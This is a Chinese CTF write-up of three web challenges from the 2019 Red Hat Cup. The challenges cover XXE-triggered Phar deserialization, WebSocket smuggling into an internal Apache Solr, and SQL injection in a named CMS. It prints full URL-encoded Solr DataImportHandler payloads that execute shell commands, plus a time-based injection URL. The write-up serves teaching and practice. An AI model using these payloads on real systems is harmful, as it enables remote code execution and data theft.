红帽杯 2019 Web Write Up (除 iCloudMusic
[TOC]
Ticket_System
XXE 2 Phar 反序列化加 Nu1lCTF sql_manager 的 thinkphp pop 链就行了
1 | <?php |
传这个 xml 上去之后再发以下请求:
1 | POST /postxml HTTP/1.1 |
用 XXE 触发 phar 反序列化即可。
我看有些师傅还在为/readflag头疼…这也不是啥新玩意了,可以直接用trap "" 14就可以让验证码停下来了。
bank_service
Second Blood
做的还是比较有意思的一题,可惜当时做的比较zz,本来可以一血,就是因为自己弄的太不小心了。
因为之前一直在研究 HTTP Smuggling 的东西,我在腾讯的导师也对这个挺感兴趣的,前阵子给我发了一个 Websocket Smuggling
看完后一脸懵逼,文章跟之前 Black Hat 2019 HTTP Desync 那个议题一样,只说了有这么个攻击面,但是没有说怎么产生的,但是还好给了 POC 以及一些 challs ,虽然我当时复现了一下,但是依然懵逼。
直到作者终于在前几天把 websocket-smuggle 攻击原理用文章描述了出来,恰巧这次比赛也出到了这么个题目,所以看到题目用了 websocket ,我就猜可能是这个攻击面了。
这个攻击面是什么呢?帮大家一句话总结就是在 websocket 建立连接时,如果反向代理没有完全严格遵守 RFC 6445 标准,在处理Sec-WebSocket-Version 版本错误的情况并没有做好相应的处理,导致了保持了客户端与后端服务器 TCP/TLS 的连接,所以造成了我们可以进行 Smuggling 请求的攻击,这里直接表现为可以通过这种攻击访问内网。
我们再回到题目,题目的 zz 客服只会重复一句话
我们基于solr提供优质的银行信息搜索服务。
那应该就是提示 solr 了,前阵子有个 solr RCE …但是我们直接访问 solr 服务是 403 …
于是我们尝试直接用 Smuggling 探测 solr 服务
1 | import socket |
发现是个302跳转…
看来还是得起本地环境来试试看,刚好 vulhub 有一个环境(p牛辣是真的牛批
直接起起来,然后发现 solr 的入口是 /solr/#/ ,然后我们把 req2 的请求部分改成 /solr/#/就可以看到页面内容了
1 | req2 = """GET /solr/#/ HTTP/1.1 |
可惜这个 Smuggling 技术貌似没有直接能像代理一样的功能,不能用浏览器直接浏览内容,每次只能自己去分析回显,不过这个题也不需要用到渲染交互什么的,直接都是可以发送 api 请求的。
于是我们本地起环境,用 Github 上几个 exp 试了一下,发现有外连的我本地可以成功,但是打远程不行…
然后我仔细看了 solr_exploit poc 以及 PoC第三阶段–无外连+有回显,想必应该就是这个了吧,后来给出的 hint 也验证了这一点,就是需要构造那篇文章当中打了码的 POC (又是一个看图猜 POC 的题,我要吐了
侧信道攻击
于是我拿着这个图找了一些 PS 大神进行处理,结果淘宝卖家说我是第四个找他们处理的人了.jpg
于是开始了漫漫 POC 猜测之路,首先我们看图可以发现图中有两个蓝色的快,那么第一行有没有可能是:
1 | <?xml version="1.0" encoding="UTF-8"?> |
让我们试试看,把 burp 与文章 burp 拉到同样高度,然后 xml 标签之后随便弄几个 payload
我靠,简直一毛一样 XD
我感觉我要一血了,侧信道攻击真的牛批。然而正如上图,他喵的还是没回显啊…
Emmm….陷入沉思
稍加思索
在 github 那个 repo 中我们可以发现其实检测漏洞 - Exploit2用的也是 @Longofo 师傅在那篇文章说的 ContentStreamSource
在相关概念中说到了ContentStreamDataSource能接收Post数据作为数据源,结合第一阶段说到的dynamicField就能实现回显了。
一开始不熟悉 java 的我看到这也很懵逼,怎么就能实现回显了…然后我们可以看看那个 github repo exp2,我也着实看了好久
在我用这个 exp2 的第四步,也就是开启远程流这个步骤,如果直接按照这个做法的话,是直接得到了 403 Forbidden
该步骤是为了修改
configoverlay.json文件中的配置 以启用远程流的相关选项.enableStreamBody.enableRemoteStreaming替换
tika为索引库名称
1
2
3
4
5
6
7
8 POST /solr/tika/config HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-type:application/json
Content-Length: 159
Connection: close
{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}响应200即成功(实际测试 8.1可以成功)
响应500即失败(实际测试 某些低版本会失败)
所以我们不得不只能走另一种方式,不用开启 streambody 的方法。
然后开始了漫长的 fuzz 过程,可能我理解得比较慢,导致做的也比较慢,这里我们可以看到这个利用 streambody 构造的 POC
1 | POST /solr/tika/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%66%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1 |
其中 urlencode 部分是:
1 | <dataConfig> |
利用 ContentStreamDataSource 把 stream.body 作为数据源进行处理。其实看到这,再根据文章中所描述的:
在相关概念中说到了ContentStreamDataSource能接收Post数据作为数据源,结合第一阶段说到的dynamicField就能实现回显了。
其实我们的 POC 也呼之欲出了。
只要去掉 stream.body ,使用 POST XML 作为数据源,再配合 dynamicField 的特性,就可以把回显输出到 document 当中了。
于是我们可以大概这么去构造 dataConfig
1 | <dataConfig> |
直接利用默认配置的 id fileld 进行回显,然后将之前 stream body 的改成 xml 发送 post 请求即可。
1 | POST /solr/test1/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=test1&name=dataimport&dataConfig=%0A%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20%2F%3E%0A%0A%20%20%3Cscript%3E%3C!%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc(row)%7B%0A%20var%20bufReader%20%3D%20new%20java.io.BufferedReader(new%20java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(%22ls%22).getInputStream()))%3B%0A%0Avar%20result%20%3D%20%5B%5D%3B%0A%0Awhile(true)%20%7B%0Avar%20oneline%20%3D%20bufReader.readLine()%3B%0Aresult.push(%20oneline%20)%3B%0Aif(!oneline)%20break%3B%0A%7D%0A%0Arow.put(%22id%22%2Cresult.join(%22%5Cn%5Cr%22))%3B%0Areturn%20row%3B%0A%0A%7D%0A%0A%5D%5D%3E%3C%2Fscript%3E%0A%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20forEach%3D%22%2FRDF%2Fitem%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22id%22%20xpath%3D%22%2FRDF%2Fitem%2Fid%22%20name%3D%22id_s%22%20type%3D%22string%22%2F%3E%0A%20%20%20%20%3C%2Fentity%3E%0A%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1 |
这样我们就成功构造了回显,然后用 smuggling 方法发送上面的请求就可以了。
给比我做的快的师傅递茶tql,自己还是做的太慢了orz…
文中的POC仅供本次做题学习交流,切勿用于非法用途
easyweb
当时做完 bank_service 就去睡了,第二天醒来就结束就没看这道题,后来问了问前几的师傅们,是个 sql 注入的题。
一个CMS,官网是行云海CMS,题目是最新的版本,然后我去看了一下,主要问题在App/Api/Controller/LtController.class.php当中,有好几个地方,比如
1 | public function gbooklist() { |
对于 I 函数第二个参数并没有做任何的处理
1 |
|
于是我们可以访问index.php?s=Api/lt/gbooklist&orderby=1;SELECT SLEEP(5)%23得到明显的时间延迟,这里我们就可以直接用 sqlmap 时间盲注就行了。
同样的,该文件里的taglist/alist/slist/reviewlist函数都有相同的地方存在注入,该题的 flag 也在数据库里面,所以用 sqlmap 跑跑就出来了。
文中的POC仅供本次做题学习交流,切勿用于非法用途





